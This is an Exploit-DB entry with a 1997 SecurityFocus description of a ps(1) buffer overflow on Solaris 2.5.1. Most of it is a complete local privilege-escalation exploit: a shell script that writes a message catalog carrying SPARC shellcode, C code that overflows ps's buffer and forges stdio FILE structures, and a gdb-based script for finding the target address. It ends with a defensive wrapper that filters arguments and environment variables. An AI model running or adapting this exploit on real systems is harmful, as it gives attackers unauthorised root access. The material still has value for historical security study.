SGI IRIX 6.5.4 / Solaris 2.5.1 - ps(1) Buffer Overflow

EDB-ID:

19168




Platform:

Unix

Date:

1997-04-28


source: https://www.securityfocus.com/bid/220/info


The ps command prints information about active processes on a system. Due to insufficient bounds checking on arguments supplied to ps, it is possible to overwrite the internal data space of the ps program. As ps is setuid root, this vulnerability may be exploited by users on a system to gain root access. 


                    #!/bin/sh
                    #
                    # Exploit for Solaris 2.5.1 /usr/bin/ps
                    # J. Zbiciak, 5/18/97
                    #

                    # change as appropriate
                    CC=gcc

                    # Build the "replacement message" :-)
                    cat > ps_expl.po << E_O_F
                    domain "SUNW_OST_OSCMD"
                    msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n"
                    msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\020\040\001\221\320\040\010"
                    E_O_F

                    msgfmt -o /tmp/foo ps_expl.po

                    # Build the C portion of the exploit
                    cat > ps_expl.c << E_O_F

                    /*****************************************/
                    /* Exploit for Solaris 2.5.1 /usr/bin/ps */
                    /* J. Zbiciak,  5/18/97                  */
                    /*****************************************/
                    #include <stdio.h>
                    #include <stdlib.h>
                    #include <sys/types.h>
                    #include <unistd.h>

                    #define BUF_LENGTH      (632)
                    #define EXTRA           (256)

                    int main(int argc, char *argv[])
                    {
                            char buf[BUF_LENGTH + EXTRA];
                                          /* ps will grok this file for the exploit code */
                            char *envp[]={"NLSPATH=/tmp/foo",0};
                            u_long *long_p;
                            u_char *char_p;
                                            /* This will vary depending on your libc */
                            u_long proc_link=0xef70ef70;
                            int i;

                            long_p = (u_long *) buf;

                            /* This first loop smashes the target buffer for optargs */
                            for (i = 0; i < (96) / sizeof(u_long); i++)
                                    *long_p++ = 0x10101010;

                            /* At offset 96 is the environ ptr -- be careful not to mess it up */
                            *long_p++=0xeffffcb0;
                            *long_p++=0xffffffff;

                            /* After that is the _ctype table.  Filling with 0x10101010 marks the
                               entire character set as being "uppercase printable". */
                            for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)
                                    *long_p++ = 0x10101010;

                            /* build up _iob[0]  (Ref: /usr/include/stdio.h, struct FILE) */
                            *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
                            *long_p++ = proc_link;    /* pointer to chars in buffer */
                            *long_p++ = proc_link;    /* pointer to buffer */
                            *long_p++ = 0x0501FFFF;   /* unbuffered output on stream 1 */
                            /* Note: "stdin" is marked as an output stream.  Don't sweat it. :-) */

                            /* build up _iob[1] */
                            *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
                            *long_p++ = proc_link;    /* pointer to chars in buffer */
                            *long_p++ = proc_link;    /* pointer to buffer */
                            *long_p++ = 0x4201FFFF;   /* line-buffered output on stream 1 */

                            /* build up _iob[2] */
                            *long_p++ = 0xFFFFFFFF;   /* num chars in buffer */
                            *long_p++ = proc_link;    /* pointer to chars in buffer */
                            *long_p++ = proc_link;    /* pointer to buffer */
                            *long_p++ = 0x4202FFFF;   /* line-buffered output on stream 2 */

                            *long_p =0;

                            /* The following includes the invalid argument '-z' to force the
                               usage msg to appear after the arguments have been parsed. */
                            execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);
                            perror("execle failed");

                            return 0;
                    }
                    E_O_F

                    # Compile it
                    $CC -o ps_expl ps_expl.c

                    # And off we go!
                    exec ./ps_expl







                    ===========================================================================




                    A number of you have written saying that the exploit doesn't work.
                    The biggest problem is that the exploit relies on a very specific
                    address (which I put in the proc_link variable) in order to work.

                    (Incidentally, as some have noted, there was a stray '*' in one of
                    the versions I sent out which causes some warnings to be generated.
                    Change "u_long *proc_link=..." to "u_long proc_link=..." if this
                    bothers you.  The warnings are benign in this case.)

                    The following shortcut seems to work for finding the value for
                    the bothersome proc_link variable.  You don't need to be a gdb whiz
                    to do this:

                    $ gdb ./ps
                    GDB is free software and you are welcome to distribute copies of it
                     under certain conditions; type "show copying" to see the conditions.
                    There is absolutely no warranty for GDB; type "show warranty" for details.
                    GDB 4.16 (sparc-sun-solaris2.4),
                    Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...
                    (gdb) break exit
                    Breakpoint 1 at 0x25244
                    (gdb) run
                    Starting program: /home3/student/im14u2c/c/./ps
                    (no debugging symbols found)...(no debugging symbols found)...
                    (no debugging symbols found)...Breakpoint 1 at 0xef7545c0
                    (no debugging symbols found)...   PID TTY      TIME CMD
                      9840 pts/27   0:01 ps
                     19499 pts/27   0:10 bash
                      9830 pts/27   0:02 gdb

                    Breakpoint 1, 0xef7545c0 in exit ()
                    (gdb) disassemble exit
                    Dump of assembler code for function exit:
                    0xef7545c0 <exit>:      call  0xef771408 <_PROCEDURE_LINKAGE_TABLE_+7188>
                    0xef7545c4 <exit+4>:    nop
                    0xef7545c8 <exit+8>:    mov  1, %g1
                    0xef7545cc <exit+12>:   ta  8
                    End of assembler dump.
                    (gdb)

                    The magic number is in the "call" above: 0xef771408.

                    For the extremely lazy, the following shell script worked for me to
                    extract this value from the noise.  Your Mileage May Vary.

                    --- extract_proc_link.sh
                    #!/bin/sh

                    cp /usr/bin/ps ./ps
                    FOO="`cat << E_O_F | gdb ./ps | grep PROC | cut -d: -f2 | cut -d\< -f1
                    break exit
                    run
                    disassemble exit
                    quit
                    y
                    E_O_F
                    `"

                    rm -f ./ps

                    set $FOO foo

                    [ -f "$1" = "foo" ] && echo "Try something else" && exit 1;

                    echo "  u_long proc_link=$2;"
                    --- EOF

                    Note, this sets the proc_link variable to the routine "exit" calls, so
                    you will probably get garbage on your screen when the exploit runs.
                    Solution: To it from an xterm or something which lets you do a "reset"
                    to nullify the action of the control characters in the exploit.

                    Incidentally, it appears that /usr/ucb/ps is equally succeptable to this
                    hole, except the vulnerability is on the -t argument, and the string
                    grokked by gettext is different, so the "ps_expl.po" file needs to be
                    changed slightly.  Fortunately, "environ" and "proc_link" are pretty
                    much the same.  (Use the "extract" script above on /usr/ucb/ps, etc.)



                    ============================================================================




                    Here's a generic wrapper I've written that you can use as an interim
                    solution for wrapping /usr/bin/ps and /usr/ucb/ps.  (/usr/ucb/ps looks
                    to be similarly vulnerable.)  The code is fairly well documented IMHO,
                    and should be adaptable enough to wrap just about any program.

                    This wrapper also filters environment variables, so if you have binaries
                    which blindly trust certain variables (NLSPATH is a common one in Solaris),
                    you can filter out those variables.  (You could also fairly trivially
                    add in default values for some variables if you needed to, such as for
                    NLSPATH.)

                    Finally, this wrapper will log exploit attempts to syslog if you configure
                    that option.  The log facility, log priority, and log ident are all
                    configurable with #defines.  I've currently set the code to LOG_ALERT
                    on LOG_LOCAL0, with ident "wrapper".  To prevent problems with syslog,
                    the wrapper even limits the number of characters it writes per log
                    message.  (Note:  This limit is on the number of characters per message,
                    not including the identifier, PID, etc.)

                    I make no guarantee or warranty about this code; it looks good/works fine
                    for me.  :-)   If you have problems configuring this wrapper for a
                    particular program, first read all the comments in the source, and then
                    email me if you still can't figure it out.  :-)

                    Incidentally, it's safe to leave ps lying around without the suid-bit;
                    it'll happily list the calling user's own processes, and those processes
                    alone.  That's one of the wonderful advantages of a /proc based ps.  :-)

                    --- wrapper.c

                    /*****************************************************************/
                    /* Generic wrapper to prevent exploitation of suid/sgid programs */
                    /* J. Zbiciak, 5/19/97                                           */
                    /*****************************************************************/

                    #include <stdio.h>
                    #include <syslog.h>
                    #include <strings.h>
                    #include <unistd.h>
                    #include <errno.h>

                    static char rcsid[]="$Id: wrapper.c,v 1.1 1997/05/19 22:48:03 jzbiciak Exp $";

                    /**************************************************************************/
                    /* To install, move wrapped executable to a different file name.  (I like */
                    /* just appending an underscore '_' to the filename.)  Then, remove the   */
                    /* offending permission bit.  Finally, place this program in the wrapped  */
                    /* program's place with the appropriate permissions.   Enjoy!             */
                    /**************************************************************************/

                    /* Tunable values per program being wrapped                               */
                    #define WRAPPED "/usr/bin/ps"   /* Set to full path of wrapped executable */
                    #define REALBIN WRAPPED"_"      /* Usually can be left untouched.         */
                    #define MAX_ARG (32)            /* Maximum argv parameter length.         */
                    #define SYSLOG 1                /* Enable/disable SYSLOGging              */
                    #define FACILITY LOG_LOCAL0     /* Facility to syslog() to                */
                    #define PRIORITY LOG_ALERT      /* Priority level for syslog()            */
                    #define LOGIDENT "wrapper"      /* How to identify myself to syslog()     */

                    typedef struct tEnvInfo
                    {
                            char * env;             /* Environment var name with trailing '=' */
                            int name_len;           /* Length of name (including '=')         */
                            int max_len;            /* Max length of value assignable to var  */
                    } TEnvInfo;

                    /* aside:  trailing '=' is necessary to prevent problems with variables   */
                    /*         whose names prefix each other.                                 */

                    TEnvInfo allowed_env [] =       /* Environ. vars we allow program to see  */
                    {
                            { "COLUMNS=",           8,      4  },
                            { "LC_CTYPE=",          9,      64 },
                            { "LC_MESSAGES=",       11,     64 },
                            { "LC_TIME=",           8,      64 },
                            { "LOGNAME=",           8,      16 },
                            { "TERM=",              5,      16 },
                            { "USER=",              5,      16 },
                    };
                    #define NUM_ALLOWED_ENV (sizeof(allowed_env)/sizeof(TEnvInfo))

                    /* Internal use only -- shouldn't need to adjust, usually                */
                    #define MSG_LEN (192)          /* Maximum output message length.         */
                    #define MAX_LOG (64)           /* Maximum length per call to syslog()    */

                    #ifndef SYSLOG
                    #error Define "SYSLOG" to be either 1 or 0 explicitly
                    #endif

                    /* No user serviceable parts inside (End of configurable options)        */

                    /* Log a message to syslog, and abort */
                    void log(char * s)
                    {
                    #if SYSLOG
                        char buf[MAX_LOG];
                        int l;

                        l=strlen(s);

                        /* Open up syslog; use "Local0" facility */
                        openlog(LOGIDENT "[" WRAPPED "]",LOG_PID,FACILITY);

                        do {
                            strncpy(buf,s,MAX_LOG-1);
                            buf[MAX_LOG-1]=0;
                            syslog (PRIORITY,buf);
                            l-=64;
                            if (l>0) s+=MAX_LOG-1;
                        } while (l>0);

                        closelog();
                    #endif

                        exit(1);
                    }

                    /* The main event */
                    int main(int argc, char * argv[], char *envp[])
                    {
                        int i,j,k;
                        char buf[MSG_LEN];

                        /* Check all of argv.  Log and exit if any args have length > MAX_ARG */
                        for (i=0;i<argc && argv[i]!=0;i++)
                        {
                            if (strlen(argv[i])>MAX_ARG)
                            {
                                printf("Error: Aborting!\n"
                                       " Excessive commandline argument length: '%s'\n", argv[i]);
                                /* Safe since uid/gid etc. are max 5 chars apiece */
                                sprintf(buf,
                                    "Attempted overrun (argv): "
                                    "uid=%.5d gid=%.5d euid=%.5d egid=%.5d\n",
                                    (int)getuid(),(int)getgid(),(int)geteuid(),(int)getegid());
                                log(buf);
                                exit(1);  /* safety net */
                            }
                        }

                        /* Check all of envp.  Throw out any environment variables which
                           aren't in "allowed_env[]".  If any variables permitted by
                           "allowed_env[]" are too long, log and exit. */

                        for (i=j=0; envp[i]!=0; i++)
                        {
                            for (k=0;k<NUM_ALLOWED_ENV;k++)
                            {
                                if (strncmp(envp[i],
                                            allowed_env[k].env,
                                            allowed_env[k].name_len)==0)
                                    break;
                            }
                            if (k!=NUM_ALLOWED_ENV)
                            {
                                if (strlen(envp[i]) >
                                    allowed_env[k].max_len+allowed_env[k].name_len)
                                {
                                    printf("Error: Aborting!\n"
                                            " Excessive environment variable length: '%s'\n",
                                            envp[i]);
                                    /* Safe because we have control over allowed_env[] */
                                    sprintf(buf,
                                        "Attempted overrun (env var '%s'): "
                                        "uid=%.5d gid=%.5d euid=%.5d egid=%.5d\n",
                                        allowed_env[k].env,
                                        (int)getuid(),(int)getgid(),(int)geteuid(),(int)getegid());
                                    log(buf);
                                    exit(1);  /* safety net */
                                }
                                envp[j++]=envp[i];
                            }
                            if (j>NUM_ALLOWED_ENV)
                            {
                                log("Internal error to wrapper -- too many allowed env vars");
                                exit(1);  /* safety net */
                            }
                        }
                        envp[j]=0;

                        /* If we make it this far, we're good to go. */
                        argv[0]=WRAPPED;
                        execve(REALBIN, argv, envp);

                        /* Safe, because errno number is very few chars */
                        sprintf(buf, "execve failed!  errno=%.5d\n",errno);
                        perror("execve() failed");
                        log(buf);

                        exit(1); /* safety net */

                    }

                    --- EOF